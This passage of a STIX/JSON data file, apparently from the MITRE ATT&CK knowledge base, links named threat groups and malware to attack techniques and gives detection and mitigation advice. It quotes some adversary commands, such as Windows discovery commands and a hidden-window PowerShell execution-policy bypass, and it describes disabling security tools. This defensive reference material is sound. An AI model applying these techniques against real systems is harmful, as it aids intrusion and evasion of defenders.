Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}],"modified":"2021-02-04T14:43:12.883Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Proofpoint TA407 September 2019)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33214d7f-0c78-4905-8ab0-8a6b6eb20eeb","type":"relationship","created":"2021-08-09T14:18:20.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2021-08-09T14:18:20.857Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover Group Policy details using the gpresult command.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3325e625-d76b-42df-b952-749dabb57517","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2020-06-29T02:52:31.770Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the GetTcpTable2 API call.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33267a0f-9d6f-4634-90fb-863eccfae60f","created":"2024-05-22T22:29:47.202Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:29:47.202Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used several mechanisms to try to disable security tools. [Agrius](https://attack.mitre.org/groups/G1030) attempted to modify EDR-related services to disable auto-start on system reboot. [Agrius](https://attack.mitre.org/groups/G1030) used a publicly available driver, GMER64.sys typically used for anti-rootkit functionality, to selectively stop and remove security software processes.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3329382e-c40f-44a2-82c3-fb1479c3b6d2","created":"2024-03-07T19:36:03.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Electron Security 2","description":"Stack Overflow. (n.d.). Why do I see an \"Electron Security Warning\" after updating my Electron project to the latest version?. Retrieved March 7, 2024.","url":"https://stackoverflow.com/questions/48854265/why-do-i-see-an-electron-security-warning-after-updating-my-electron-project-t"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-15T23:34:07.619Z","description":"Remove or deny access to unnecessary and potentially vulnerable software and features to prevent abuse by adversaries. Many native binaries may not be necessary within a given environment: for example, consider disabling the Node.js integration in all renderers that display remote content to protect users by limiting adversaries’ power to plant malicious JavaScript within Electron applications.(Citation: Electron Security 2)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33296fc2-5d9f-4a7b-a271-93eb8b7fbc4b","created":"2023-05-31T12:34:03.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:23:03.886Z","description":"In Office365 environments, consider using PurviewAudit to collect MailItemsAccessed events and monitoring for unusual email access behavior.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--332b2dd0-28c8-443d-9183-b368f27bdd01","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor the Registry for changes to the LSA Registry keys. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}]},{"type":"relationship","id":"relationship--332ce4cd-311a-457f-ae10-6d8e3ef7bc77","created":"2020-07-27T15:20:50.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trustwave Pillowmint June 2020","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020.","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:36:02.978Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has modified the Registry key HKLM\\SOFTWARE\\Microsoft\\DRM to store a malicious payload.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33327a36-9f05-4a27-ac6a-d36e4cee0b21","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can enumerate files and directories.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--33335fca-0e01-49ba-b631-4009127533eb","created":"2022-04-11T16:25:00.426Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for commands with arguments (such as opening common command-line editors) used to modify plist files, especially commonly abused files such as those in \\~/LaunchAgents, \\~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist.","modified":"2022-04-20T21:58:02.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33344564-0586-47fa-965f-ec9b4a462491","type":"relationship","created":"2020-08-24T15:01:02.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T15:01:02.103Z","description":"(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3337112a-0b29-450f-9183-a0ec428c4898","created":"2020-04-28T12:47:25.938Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."},{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:39:54.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33390e6e-f262-48fb-a74a-084c310b3aa2","created":"2022-05-25T18:56:20.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-09T19:49:22.026Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used scheduled tasks to establish persistence and execution.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3339e98d-9078-496e-bc24-8bcf5f86ac33","type":"relationship","created":"2021-11-24T21:42:01.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:42:01.329Z","description":"[Koadic](https://attack.mitre.org/software/S0250) has used the command Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden to hide its window.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--333bd465-8713-4918-b60d-6128c52cbf04","type":"relationship","created":"2019-04-22T22:28:28.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.815Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) can overwrite files with random data before deleting them.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--333c5688-edc4-40ba-a382-e98f4473d8c7","type":"relationship","created":"2021-02-10T19:16:02.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:16:02.446Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather a list of processes running on the machine.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--333f527e-15e1-4760-a03b-c1ca4edc351b","created":"2024-01-23T19:15:41.602Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:15:41.602Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has executed `net group \"domain admins\" /dom` for discovery on compromised machines.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3341a11e-acd1-4cba-a7a9-5bb48aec8bec","created":"2023-04-08T17:01:48.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T00:03:01.119Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can use LDAP queries to connect to AD and iterate over connected workstations.(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3341ad26-c7a8-4e42-a095-a49e65fde843","type":"relationship","created":"2019-02-12T19:56:02.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.526Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can create a Startup item for persistence if it determines it is on a Windows system.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--334ab5f1-75dc-425b-9659-10d2b62b9cbc","type":"relationship","created":"2019-09-24T14:19:05.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.658Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has used HTTP for C2 connections.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--334ae43c-2c0b-4a7a-aab5-6ff59005dbf5","type":"relationship","created":"2019-10-15T21:19:28.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-10-15T21:19:28.149Z","description":"[Machete](https://attack.mitre.org/software/S0409) retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3350f278-af37-4183-b1be-8d79abce27ac","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-17T14:54:24.036Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--335b3a8b-5e78-4a3a-82ac-eff51172ae81","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for newly constructed WMI Objects that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--335d97be-914a-4198-aa06-55095e850ffc","type":"relationship","created":"2020-02-12T15:27:00.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-23T19:22:53.121Z","description":"If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--335efe06-4f71-43cb-ab93-c812157d0078","created":"2022-08-11T23:07:16.386Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T23:07:16.386Z","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.394Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to retrieve information about connected users.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--33637b62-ee17-40d8-aa2d-7d5e3e7a8e49","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral 